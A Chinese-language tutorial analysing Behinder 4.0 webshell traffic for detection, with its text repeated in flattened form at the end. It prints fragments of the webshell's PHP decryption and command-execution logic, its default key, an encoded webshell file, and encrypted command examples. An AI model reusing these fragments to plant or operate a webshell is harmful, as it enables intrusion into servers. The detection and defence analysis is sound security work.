冰蝎4.0客户端流量分析
字数 2638 2025-08-22 22:47:30

冰蝎4.0客户端流量分析教学文档

1. 冰蝎4.0概述

冰蝎(Behinder)是一款流行的Webshell管理工具,4.0版本相较于之前版本在流量加密和功能实现上更为复杂。本文档将详细分析冰蝎4.0客户端的流量特征、加密机制以及各类操作的数据包结构。

2. 核心加密机制

2.1 加密流程

冰蝎4.0采用多层加密机制:

  1. 初始加密:使用AES-128或异或(XOR)加密
  2. Base64编码:对加密后的数据进行Base64编码
  3. JSON封装:将数据封装为JSON格式
  4. 二次加密:对JSON数据进行最终加密传输

2.2 密钥管理

密钥默认值为e45e329feb5d925b,这是连接密码32位MD5值的前16位。密钥存储在会话变量中:

$key="e45e329feb5d925b";
$_SESSION['k']=$key;
session_write_close();

2.3 加密实现代码

if(!extension_loaded('openssl')) {
    // 无OpenSSL扩展时使用异或加密
    $t="base64_"."decode";
    $post=$t($post."");
    for($i=0;$i<strlen($post);$i++) {
        $post[$i] = $post[$i]^$key[$i+1&15];
    }
} else {
    // 有OpenSSL扩展时使用AES-128加密
    $post=openssl_decrypt($post, "AES128", $key);
}

3. 通信流程分析

3.1 连接确认流程

冰蝎连接服务端时使用两个数据包:

  1. 第一包:用于确认连接
  2. 第二包:用于获取服务器信息

3.2 命令执行流程

  1. 客户端发送加密命令
  2. 服务端解密并执行命令
  3. 服务端将执行结果加密后返回
  4. 客户端解密并显示结果

4. 各类操作分析

4.1 基本信息获取

服务端返回的信息结构:

{
    "basicInfo": "phpinfo信息",
    "driveList": "/",
    "currentPath": "/www/wwwroot/upload/upload",
    "osInfo": "Linux",
    "arch": "64",
    "localIp": "127.0.1.1 192.168.56.3"
}

4.2 命令执行

请求示例

$cmd="Y2QgL3d3dy93d3dyb290L3BrLyA7bHM="; // "cd /www/wwwroot/pk/ ;ls"
$cmd=base64_decode($cmd);
$path="L3d3dy93d3dyb290L3BrLw=="; // "/www/wwwroot/pk/"
$path=base64_decode($path);
main($cmd,$path);

执行函数选择逻辑

服务端会依次尝试以下函数执行命令:

  1. system()
  2. proc_open()
  3. passthru()
  4. shell_exec()
  5. exec()
  6. popen()

返回结果结构

{
    "status": "c3VjY2Vzcw==", // "success"
    "msg": "W3sibmFtZSI6I... (base64编码的执行结果)"
}

4.3 文件操作

目录读取

返回示例:

{
    "status": "c3VjY2Vzcw==",
    "msg": "W3sibmFtZSI6IkxnPT0iLCJzaXplIjoiTkRBNU5nPT0iLCJsYXN0TW9kaWZpZWQiOiJNakF5TkMwd05DMHhPU0F4TkRvMU9Ub3lNQT09IiwicGVybSI6IlVpOHRMMFU9IiwidHlwZSI6IlpHbHlaV04wYjNKNSJ9,..."
}

解码后:

[
    {
        "name": ".",
        "size": "4096",
        "lastModified": "2024-04-19 14:59:20",
        "perm": "R/-/E",
        "type": "directory"
    },
    {
        "name": "..",
        "size": "4096",
        "lastModified": "2024-04-15 21:35:08",
        "perm": "R/W/E",
        "type": "directory"
    },
    {
        "name": "readme.php",
        "size": "97",
        "lastModified": "2024-04-15 21:34:34",
        "perm": "R/-/-",
        "type": "file"
    }
]

文件读取

返回示例:

{
    "status": "c3VjY2Vzcw==",
    "msg": "UEQ5d2FIQUtRR1Z5Y205eVgzSmxjRzl5ZEdsdVp5Z3dLVHNLYzJWemMybHZibDl6ZEdGeWRDZ3BPd29nSUNBZ0pHdGxlVDBpWlRRMVpUTXlPV1psWWpWa09USTFZaUk3SUM4djZLK2w1YStHNlpLbDVMaTY2TCtlNW82bDVhK0c1NkNCTXpMa3ZZMXRaRFhsZ0x6bm1vVGxpWTB4TnVTOWplKzhqT203bU9pdXBPaS9udWFPcGVXdmh1ZWdnWEpsWW1WNWIyNWtDZ2trWDFORlUxTkpUMDViSjJzblhUMGthMlY1T3dvSmMyVnpjMmx2Ymw5M2NtbDBaVjlqYkc5elpTZ3BPd29KSkhCdmMzUTlabWxzWlY5blpYUmZZMjl1ZEdWdWRITW9JbkJvY0RvdkwybHVjSFYwSWlrN0NnbHBaaWdoWlhoMFpXNXphVzl1WDJ4dllXUmxaQ2duYjNCbGJuTnpiQ2NwS1FvSmV3b0pDU1IwUFNKaVlYTmxOalJmSWk0aVpHVmpiMlJsSWpzS0NRa2tjRzl6ZEQwa2RDZ2tjRzl6ZEM0aUlpazdDZ2tKQ2drSlptOXlLQ1JwUFRBN0pHazhjM1J5YkdWdUtDUndiM04wS1Rza2FTc3JLU0I3Q2lBZ0lDQUpDUWtnSkhCdmMzUmJKR2xkSUQwZ0pIQnZjM1JiSkdsZFhpUnJaWGxiSkdrck1TWXhOVjA3SUFvZ0lDQWdDUWtKZlFvSmZRb0paV3h6WlFvSmV3b0pDU1J3YjNOMFBXOXdaVzV6YzJ4ZlpHVmpjbmx3ZENna2NHOXpkQ3dnSWtGRlV6RXlPQ0lzSUNSclpYa3BPd29KZlFvZ0lDQWdKR0Z5Y2oxbGVIQnNiMlJsS0NkOEp5d2tjRzl6ZENrN0NpQWdJQ0FrWm5WdVl6MGtZWEp5V3pCZE93b2dJQ0FnSkhCaGNtRnRjejBrWVhKeVd6RmRPd29KWTJ4aGMzTWdRM3R3ZFdKc2FXTWdablZ1WTNScGIyNGdYMTlwYm5admEyVW9KSEFwSUh0bGRtRnNLQ1J3TGlJaUtUdDlmUW9nSUNBZ1FHTmhiR3hmZFhObGNsOW1kVzVqS0c1bGR5QkRLQ2tzSkhCaGNtRnRjeWs3Q2o4K0NnPT0="
}

解码后为文件内容的Base64编码,需要二次解码才能获取实际内容。

文件下载

与文件读取不同,文件下载时返回的JSON结构会"头尾颠倒":

{
    "msg": "UEQ5d2FIQUtRR1Z5Y205eVgzSmxjRzl5ZEdsdVp5Z3dLVHNLYzJWemMybHZibDl6ZEdGeWRDZ3BPd29nSUNBZ0pHdGxlVDBpWlRRMVpUTXlPV1psWWpWa09USTFZaUk3SUM4djZLK2w1YStHNlpLbDVMaTY2TCtlNW82bDVhK0c1NkNCTXpMa3ZZMXRaRFhsZ0x6bm1vVGxpWTB4TnVTOWplKzhqT203bU9pdXBPaS9udWFPcGVXdmh1ZWdnWEpsWW1WNWIyNWtDZ2trWDFORlUxTkpUMDViSjJzblhUMGthMlY1T3dvSmMyVnpjMmx2Ymw5M2NtbDBaVjlqYkc5elpTZ3BPd29KSkhCdmMzUTlabWxzWlY5blpYUmZZMjl1ZEdWdWRITW9JbkJvY0RvdkwybHVjSFYwSWlrN0NnbHBaaWdoWlhoMFpXNXphVzl1WDJ4dllXUmxaQ2duYjNCbGJuTnpiQ2NwS1FvSmV3b0pDU1IwUFNKaVlYTmxOalJmSWk0aVpHVmpiMlJsSWpzS0NRa2tjRzl6ZEQwa2RDZ2tjRzl6ZEM0aUlpazdDZ2tKQ2drSlptOXlLQ1JwUFRBN0pHazhjM1J5YkdWdUtDUndiM04wS1Rza2FTc3JLU0I3Q2lBZ0lDQUpDUWtnSkhCdmMzUmJKR2xkSUQwZ0pIQnZjM1JiSkdsZFhpUnJaWGxiSkdrck1TWXhOVjA3SUFvZ0lDQWdDUWtKZlFvSmZRb0paV3h6WlFvSmV3b0pDU1J3YjNOMFBXOXdaVzV6YzJ4ZlpHVmpjbmx3ZENna2NHOXpkQ3dnSWtGRlV6RXlPQ0lzSUNSclpYa3BPd29KZlFvZ0lDQWdKR0Z5Y2oxbGVIQnNiMlJsS0NkOEp5d2tjRzl6ZENrN0NpQWdJQ0FrWm5WdVl6MGtZWEp5V3pCZE93b2dJQ0FnSkhCaGNtRnRjejBrWVhKeVd6RmRPd29KWTJ4aGMzTWdRM3R3ZFdKc2FXTWdablZ1WTNScGIyNGdYMTlwYm5admEyVW9KSEFwSUh0bGRtRnNLQ1J3TGlJaUtUdDlmUW9nSUNBZ1FHTmhiR3hmZFhObGNsOW1kVzVqS0c1bGR5QkRLQ2tzSkhCaGNtRnRjeWs3Q2o4K0NnPT0=",
    "status": "c3VjY2Vzcw=="
}

文件下载通常会有两个包:

  1. 第一个包用于读取文件
  2. 第二个包用于确认下载完成

5. 流量特征分析

5.1 HTTP头部特征

Content-Type

  • PHP: application/x-www-form-urlencoded
  • ASPX: application/octet-stream
  • ASP: 无特定Content-Type

User-Agent

冰蝎4.0使用固定的10个较旧User-Agent:

  1. Mozilla/5.0 (Macintosh; Intel Mac OS X 11_2_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
  2. Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:87.0) Gecko/20100101 Firefox/87.0
  3. Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36
  4. Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36 Edg/99.0.1150.55
  5. Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36
  6. Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0
  7. Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36
  8. Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36
  9. Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0
  10. Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko

5.2 数据特征

  1. 多层加密:Base64+AES/XOR+JSON
  2. 文件操作流量大:由于整合了所有文件操作且包含大量注释,单个发送包通常在400KB左右
  3. 固定密钥:默认使用e45e329feb5d925b作为密钥
  4. 数据格式:几乎所有通信数据都经过Base64编码

6. 检测与防御建议

6.1 检测方法

  1. 流量特征检测

    • 匹配已知的User-Agent
    • 检查Content-Type与文件类型的对应关系
    • 检测异常大的HTTP请求/响应包
  2. 行为特征检测

    • 检测Base64解码+AES/XOR解密行为
    • 监控eval()、system()等危险函数调用
  3. 密钥检测

    • 检查会话中是否存储了默认密钥e45e329feb5d925b

6.2 防御建议

  1. Web应用防护

    • 禁用危险函数:eval()、system()、exec()等
    • 限制文件操作权限
    • 监控异常的文件读写行为
  2. 网络层防护

    • 部署WAF规则检测冰蝎特征
    • 监控异常加密流量
    • 限制服务器出站连接
  3. 日志分析

    • 记录所有文件操作日志
    • 分析异常会话行为
    • 监控PHP执行日志

7. 解密工具

可以使用在线AES解密工具配合获取的密钥解密冰蝎流量:
http://tools.bugscaner.com/cryptoaes/

8. 总结

冰蝎4.0作为一款功能强大的Webshell管理工具,其主要特点包括:

  1. 采用多层加密机制保障通信安全
  2. 使用固定但较旧的User-Agent
  3. 文件操作流量显著大于其他操作
  4. 所有通信数据都经过Base64编码
  5. 默认使用固定密钥e45e329feb5d925b

通过分析其流量特征和行为模式,可以有效检测和防御冰蝎Webshell的攻击。

冰蝎4.0客户端流量分析教学文档 1. 冰蝎4.0概述 冰蝎(Behinder)是一款流行的Webshell管理工具,4.0版本相较于之前版本在流量加密和功能实现上更为复杂。本文档将详细分析冰蝎4.0客户端的流量特征、加密机制以及各类操作的数据包结构。 2. 核心加密机制 2.1 加密流程 冰蝎4.0采用多层加密机制: 初始加密 :使用AES-128或异或(XOR)加密 Base64编码 :对加密后的数据进行Base64编码 JSON封装 :将数据封装为JSON格式 二次加密 :对JSON数据进行最终加密传输 2.2 密钥管理 密钥默认值为 e45e329feb5d925b ,这是连接密码32位MD5值的前16位。密钥存储在会话变量中: 2.3 加密实现代码 3. 通信流程分析 3.1 连接确认流程 冰蝎连接服务端时使用两个数据包: 第一包 :用于确认连接 第二包 :用于获取服务器信息 3.2 命令执行流程 客户端发送加密命令 服务端解密并执行命令 服务端将执行结果加密后返回 客户端解密并显示结果 4. 各类操作分析 4.1 基本信息获取 服务端返回的信息结构: 4.2 命令执行 请求示例 执行函数选择逻辑 服务端会依次尝试以下函数执行命令: system() proc_open() passthru() shell_exec() exec() popen() 返回结果结构 4.3 文件操作 目录读取 返回示例: 解码后: 文件读取 返回示例: 解码后为文件内容的Base64编码,需要二次解码才能获取实际内容。 文件下载 与文件读取不同,文件下载时返回的JSON结构会"头尾颠倒": 文件下载通常会有两个包: 第一个包用于读取文件 第二个包用于确认下载完成 5. 流量特征分析 5.1 HTTP头部特征 Content-Type PHP: application/x-www-form-urlencoded ASPX: application/octet-stream ASP: 无特定Content-Type User-Agent 冰蝎4.0使用固定的10个较旧User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 11_2_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36 Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:87.0) Gecko/20100101 Firefox/87.0 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36 Edg/99.0.1150.55 Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36 Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0 Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36 Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0 Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko 5.2 数据特征 多层加密 :Base64+AES/XOR+JSON 文件操作流量大 :由于整合了所有文件操作且包含大量注释,单个发送包通常在400KB左右 固定密钥 :默认使用 e45e329feb5d925b 作为密钥 数据格式 :几乎所有通信数据都经过Base64编码 6. 检测与防御建议 6.1 检测方法 流量特征检测 : 匹配已知的User-Agent 检查Content-Type与文件类型的对应关系 检测异常大的HTTP请求/响应包 行为特征检测 : 检测Base64解码+AES/XOR解密行为 监控eval()、system()等危险函数调用 密钥检测 : 检查会话中是否存储了默认密钥 e45e329feb5d925b 6.2 防御建议 Web应用防护 : 禁用危险函数:eval()、system()、exec()等 限制文件操作权限 监控异常的文件读写行为 网络层防护 : 部署WAF规则检测冰蝎特征 监控异常加密流量 限制服务器出站连接 日志分析 : 记录所有文件操作日志 分析异常会话行为 监控PHP执行日志 7. 解密工具 可以使用在线AES解密工具配合获取的密钥解密冰蝎流量: http://tools.bugscaner.com/cryptoaes/ 8. 总结 冰蝎4.0作为一款功能强大的Webshell管理工具,其主要特点包括: 采用多层加密机制保障通信安全 使用固定但较旧的User-Agent 文件操作流量显著大于其他操作 所有通信数据都经过Base64编码 默认使用固定密钥 e45e329feb5d925b 通过分析其流量特征和行为模式,可以有效检测和防御冰蝎Webshell的攻击。